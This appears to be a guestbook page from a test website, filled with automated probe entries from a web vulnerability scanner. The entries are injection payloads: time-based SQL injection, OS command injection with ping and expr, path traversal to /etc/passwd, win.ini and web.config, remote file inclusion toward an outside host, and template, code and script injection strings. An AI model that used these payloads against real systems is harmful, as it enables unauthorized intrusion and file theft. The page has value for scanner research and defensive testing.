\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

r87.com/?https://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n #{28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ${28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n http://example.com/?\r\nns: netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

#{28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

${28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n r87.com/n\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:05 AM\r\n

\r\n

\r\n php://filter//resource=http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n http://r87.com/n?.aspx\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://example.com/?\r\nns: netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print localtime()*0+0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print localtime()*0+0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"\r\n

\r\n
\r\n

eval('print localtime()*0+0xFFF9999-22')

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print localtime()*0+0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[php]print(int)0xFFF9999-22;[/php]

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'{${print(int)0xFFF9999-22}}'

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

{php}print(int)0xFFF9999-22;{/php}

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print(int)0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx\u0000

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

data:;base64,TlM3NzU0NTYxNDQ2NTc1

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:///etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n |expr${IFS}268409241${IFS}-${IFS}2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n 1));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n '));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n expr 268409241 - 2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n ping -c 25 127.0.0.1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n expr 268409241 - 2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache/error.log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n ');SELECT pg_sleep(25)--\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache2/error.log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error_log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n 1);SELECT pg_sleep(25)--\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error.log

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n ping -c 25 127.0.0.1 &\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n 1;SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n &ping -c 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n ';SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n '&ping -c 25 127.0.0.1 &'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n \"&ping -c 25 127.0.0.1 &\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n & ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n ((select sleep(25)))a-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:45 AM\r\n

\r\n

\r\n '& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \"& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/iis6.log

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x003DBA

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x003DB9

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c:\\windows\\win.ini

\r\n

\r\n 8/23/2017 8:06:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n &expr 268409241 - 2 &\r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/windows/win.ini

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini

\r\n

\r\n 8/23/2017 8:06:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n '&expr 268409241 - 2 &'\r\n

\r\n
\r\n

/../../../../../../../../../../web.config

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n \"&expr 268409241 - 2 &\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:41 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2\r\n

\r\n
\r\n

[ns](javascript:netsparker(0x003D91);)

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n 1)) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n ')) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n ') WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x003D8D)+'

\r\n

\r\n 8/23/2017 8:06:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x003D8B);

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x003D89)

\r\n

\r\n 8/23/2017 8:06:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

ping -c 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

',netsparker(0x003D87),'

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -c 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:35 AM\r\n

\r\n

\r\n 1) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:34 AM\r\n

\r\n

\r\n WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:34 AM\r\n

\r\n

\r\n 1 WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

\\';netsparker(0x003D85);///

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
